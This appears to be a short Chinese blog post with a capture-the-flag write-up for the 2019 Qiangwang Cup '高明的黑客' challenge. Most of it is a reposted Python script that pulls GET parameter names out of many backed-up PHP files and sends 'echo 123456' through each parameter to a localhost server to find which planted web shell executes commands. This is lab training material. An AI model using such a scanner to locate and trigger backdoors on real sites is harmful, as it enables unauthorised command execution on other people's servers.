[强网杯 2019]高明的黑客

下载备份文件,每个文件都有shell,但是好多都不能用,

所以需要py脚本筛选可用的shell,搬移一个大佬的wp

import re
import os
import requests

files = os.listdir('src/')    #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')   #设置正则
for i in files:                #从第一个文件开始
    url = "http://127.0.0.1/src/" + i
    f = open("src/"+i)        #打开这个文件
    data = f.read()           #读取文件内容
    f.close()                 #关闭文件
    result = reg.findall(data)  #从文件中找到GET请求
    for j in result:           #从第一个GET参数开始
        payload = url + "?" + j + "=echo 123456"   ##尝试请求次路径,并执行命令
        print(payload)
        html = requests.get(payload)##通过r=request.get(url)构造一个向服务器请求资源的url对象。
        if "123456" in html.text:
            print(payload)
            exit(1)

考察的还是脚本编写。好好理解这个

 

posted @ 2021-08-25 14:21  C10ud  阅读(81)  评论(0编辑  收藏  举报